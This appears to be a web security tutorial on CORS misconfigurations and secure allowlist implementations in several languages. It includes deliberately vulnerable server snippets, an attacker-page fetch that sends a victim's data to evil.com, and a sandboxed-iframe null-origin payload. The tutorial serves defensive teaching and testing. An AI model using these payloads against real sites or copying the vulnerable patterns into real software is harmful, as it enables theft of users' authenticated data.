The Same-Origin Policy (SOP) is the browser’s core security boundary: JavaScript running on evil.com cannot read responses from api.bank.com. CORS (Cross-Origin Resource Sharing) is the mechanism that allows servers to selectively relax this restriction, permitting specific trusted origins to make cross-origin requests and read the responses.
When CORS is misconfigured, that browser-enforced boundary disappears. An attacker who can get a victim to visit their page can make authenticated requests to your API on the victim’s behalf — and read the responses. This is a real exploit that works in browsers against any endpoint where the server returns sensitive data and gets the CORS headers wrong.
The Same-Origin Policy and Why It Matters
By default, a browser script at https://app.example.com can send a fetch request to https://api.example.com/user/profile but cannot read the response body. The browser makes the request, receives the response, and blocks JavaScript access to it. This protects banking APIs, authenticated data services, and session-based applications from being harvested by scripts on attacker-controlled pages.
CORS adds Access-Control-Allow-Origin and related headers that tell the browser when to relax this block. If the server responds with Access-Control-Allow-Origin: https://attacker.com, the browser will expose the response body to JavaScript running at attacker.com.
Common CORS Misconfigurations
1. Wildcard Origin with Credentials
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browsers reject this combination — credentials: true is not permitted with a wildcard origin. But many developers attempt this and then “fix” it by dynamically echoing the request origin instead. The fix is itself the vulnerability.
2. Dynamically Reflected Origin Without Validation
The most exploitable misconfiguration: the server reads the Origin header from the request and reflects it back without validation:
// Vulnerable Node.js/Express CORS middleware
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
Any origin — including https://evil.com — will receive Access-Control-Allow-Origin: https://evil.com in the response. The attacker can now read the response body from their page with a credentialed fetch:
// Attacker's page at https://evil.com
fetch('https://api.example.com/user/profile', {
credentials: 'include' // sends the victim's cookies
}).then(r => r.text()).then(data => {
// Exfiltrate data to attacker's server
fetch('https://evil.com/collect?d=' + encodeURIComponent(data));
});
3. Prefix/Suffix Matching Gone Wrong
Developers sometimes validate the origin with substring matching:
# Vulnerable Python — trusts anything containing "example.com"
origin = request.headers.get('Origin', '')
if 'example.com' in origin:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
An attacker registers evil-example.com or example.com.evil.com and exploits the substring check.
4. Null Origin Acceptance
Browsers send Origin: null in several situations: sandboxed iframes, file:// requests, redirected cross-origin requests, and data URIs. Some servers explicitly trust the null origin:
if (origin === 'null' || origin === null) {
res.setHeader('Access-Control-Allow-Origin', 'null');
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
An attacker can trigger Origin: null from a sandboxed iframe to bypass origin-based restrictions:
<iframe sandbox="allow-scripts allow-top-navigation-by-user-activation" srcdoc="
<script>
fetch('https://api.example.com/sensitive', {credentials: 'include'})
.then(r => r.text()).then(d => parent.postMessage(d, '*'));
</script>">
</iframe>
5. Overly Broad Subdomain Wildcards
A regex that allows all subdomains of a trusted domain:
import re
origin = request.headers.get('Origin', '')
if re.match(r'^https://.*\.example\.com$', origin):
set_cors_headers(response, origin)
If example.com has any XSS vulnerability anywhere on any subdomain, or if the attacker can get a subdomain (e.g., through a takeover of an abandoned DNS record), this allows exploitation from that subdomain.
How to Implement Correct CORS Policy
Server-side allowlist pattern (Python/Flask example):
ALLOWED_ORIGINS = {
'https://app.example.com',
'https://admin.example.com',
'https://staging.example.com', # staging in dev only
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
# Vary header is critical for correct caching behaviour
response.headers['Vary'] = 'Origin'
# Do NOT set ACAO header if origin is not in allowlist
return response
Node.js/Express with cors package:
const cors = require('cors');
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (server-to-server, curl, Postman)
if (!origin) return callback(null, false);
if (allowedOrigins.includes(origin)) {
return callback(null, true);
}
// Return an error (no CORS headers set) for untrusted origins
return callback(new Error(`Origin ${origin} not allowed by CORS policy`));
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
Go (net/http):
func corsMiddleware(next http.Handler) http.Handler {
allowedOrigins := map[string]bool{
"https://app.example.com": true,
"https://admin.example.com": true,
}
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if allowedOrigins[origin] {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Vary", "Origin")
}
if r.Method == "OPTIONS" {
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
w.WriteHeader(http.StatusNoContent)
return
}
next.ServeHTTP(w, r)
})
}
Critical Rules for Secure CORS
-
Never reflect the Origin header without strict allowlist validation. The check must be exact string match against an allowlist, not substring or prefix matching.
-
The
Vary: Originheader is required. When you conditionally setAccess-Control-Allow-Originbased on the request’s Origin, you must includeVary: Originin the response. Without it, intermediate caches may serve a response with a different origin’s ACAO header to subsequent requestors. -
Never trust
Origin: nullfor sensitive endpoints. If you need to support sandboxed iframe use cases, consider a separate, non-credentialed endpoint. -
CORS policy is server-side only. Client-side workarounds (disabling CORS in browsers for testing) are not relevant to production security. The fix must be in the server’s CORS headers.
-
Apply CORS restrictions to all paths, not just the API prefix. Forgotten endpoints, webhook receivers, and internal tooling routes are common targets for CORS exploitation.
Testing for CORS Misconfigurations
# Test 1: Does the server reflect arbitrary origins?
curl -H "Origin: https://evil.com" -I https://api.example.com/profile
# Check response for: Access-Control-Allow-Origin: https://evil.com
# Test 2: Does the server accept null origin?
curl -H "Origin: null" -I https://api.example.com/profile
# Check response for: Access-Control-Allow-Origin: null
# Test 3: Does the server use substring matching?
curl -H "Origin: https://notexample.com" -I https://api.example.com/profile
curl -H "Origin: https://example.com.evil.com" -I https://api.example.com/profile
# Test 4: Does the server trust HTTP origins for HTTPS endpoints?
curl -H "Origin: http://app.example.com" -I https://api.example.com/profile
Burp Suite’s Engagement Tools include an automated CORS misconfiguration scanner. OWASP ZAP’s active scanner also covers common patterns.
CORS vulnerabilities consistently appear in bug bounty programmes and penetration tests. The fixes are straightforward, and the attack surface is well understood — but the combination of developer convenience pressure (everyone wants Access-Control-Allow-Origin: * to work in dev) and insufficient understanding of the credential interaction makes these misconfigurations stubbornly common.